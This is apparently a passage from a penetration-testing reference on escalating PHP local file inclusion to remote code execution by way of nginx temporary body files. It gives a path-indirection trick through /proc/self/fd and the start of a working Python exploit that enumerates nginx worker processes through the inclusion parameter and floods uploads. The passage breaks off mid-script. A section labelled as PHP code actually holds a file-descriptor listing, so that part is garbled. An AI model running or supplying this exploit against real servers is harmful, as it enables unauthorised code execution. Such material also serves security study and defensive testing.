# LFI2RCE via Nginx temp files ## Vulnerable configuration * PHP code: ``` /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Note: One cannot directly include `/proc/34/fd/15` in this example as PHP's `include` function would resolve the path to `/var/lib/nginx/body/0000001368 (deleted)` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: `/proc/self/fd/34/../../../34/fd/15` which will finally execute the content of the deleted `/var/lib/nginx/body/0000001368` file. ## Full Exploit ```python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data='